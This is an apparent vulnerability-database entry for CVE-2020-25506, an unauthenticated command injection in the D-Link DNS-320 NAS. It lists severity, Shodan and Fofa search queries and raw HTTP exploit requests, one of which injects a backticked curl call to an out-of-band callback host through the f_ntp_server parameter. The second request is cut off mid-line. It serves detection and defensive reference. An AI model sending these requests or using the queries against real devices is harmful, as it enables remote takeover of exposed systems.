🔙 목록으로 돌아가기

CVE-2020-25506: D-Link DNS-320 - Unauthenticated Remote Code Execution

TitleD-Link DNS-320 - Unauthenticated Remote Code Execution
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
RemediationApply the latest firmware update provided by D-Link to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9384
CVE IDCVE-2020-25506
CWE IDCWE-78
Shodan Queryhttp.html:"sharecenter"
Fofa Querybody="sharecenter"
Tags cve cve2020 dlink rce oast mirai unauth router kev vkev vuln

🔍 Vulnerability Description

D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

🌐 HTTP Request

POST /cgi-bin/system_mgr.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 116
Accept: */*
Accept-Encoding: gzip

C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://d5jopk9le0o4i60705hgmfr1spqwwyc9c.oast.pro -H 'User-Agent: PHZZGo'`
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Accept: */*
Accept-Encoding: gzip

0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25506.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-25506.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A